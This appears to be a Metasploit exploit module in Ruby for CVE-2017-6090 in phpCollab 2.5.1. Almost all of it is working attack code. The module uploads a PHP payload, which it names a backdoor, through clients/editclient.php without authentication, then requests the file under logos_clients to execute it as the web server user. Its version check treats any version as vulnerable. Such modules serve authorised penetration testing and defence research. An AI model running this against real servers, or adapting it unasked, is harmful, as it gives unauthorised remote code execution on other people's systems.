105 lines
3.2 KiB
Ruby
105 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'phpCollab 2.5.1 Unauthenticated File Upload',
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'Description' => %q{
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This module exploits a file upload vulnerability in phpCollab 2.5.1
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which could be abused to allow unauthenticated users to execute arbitrary code
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under the context of the web server user.
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The exploit has been tested on Ubuntu 16.04.3 64-bit
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},
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'Author' =>
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[
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'Nicolas SERRA <n.serra[at]sysdream.com>', # Vulnerability discovery
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'Nick Marcoccio "1oopho1e" <iremembermodems[at]gmail.com>', # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2017-6090' ],
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[ 'EDB', '42934' ],
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[ 'URL', 'http://www.phpcollab.com/' ],
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[ 'URL', 'https://sysdream.com/news/lab/2017-09-29-cve-2017-6090-phpcollab-2-5-1-arbitrary-file-upload-unauthenticated/' ]
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],
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'Privileged' => false,
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' => [ ['Automatic', {}] ],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Sep 29 2017'
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))
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register_options(
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[
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OptString.new('TARGETURI', [ true, "Installed path of phpCollab ", "/phpcollab/"])
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])
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end
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def check
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url = normalize_uri(target_uri.path, "general/login.php?msg=logout")
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => url
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)
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version = res.body.scan(/PhpCollab v([\d\.]+)/).flatten.first
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vprint_status("Found version: #{version}")
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unless version
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vprint_status('Unable to get the PhpCollab version.')
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return CheckCode::Unknown
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end
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if Gem::Version.new(version) >= Gem::Version.new('0')
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return CheckCode::Appears
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end
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CheckCode::Safe
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end
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def exploit
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filename = '1.' + rand_text_alpha(8 + rand(4)) + '.php'
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id = File.basename(filename,File.extname(filename))
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register_file_for_cleanup(filename)
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data = Rex::MIME::Message.new
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data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"upload\"; filename=\"#{filename}\"")
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print_status("Uploading backdoor file: #{filename}")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'clients/editclient.php'),
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'vars_get' => {
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'id' => id,
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'action' => 'update'
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},
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => data.to_s
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})
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if res && res.code == 302
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print_good("Backdoor successfully created.")
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else
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fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
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end
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print_status("Triggering the exploit...")
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send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, "logos_clients/" + filename)
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}, 5)
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end
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end
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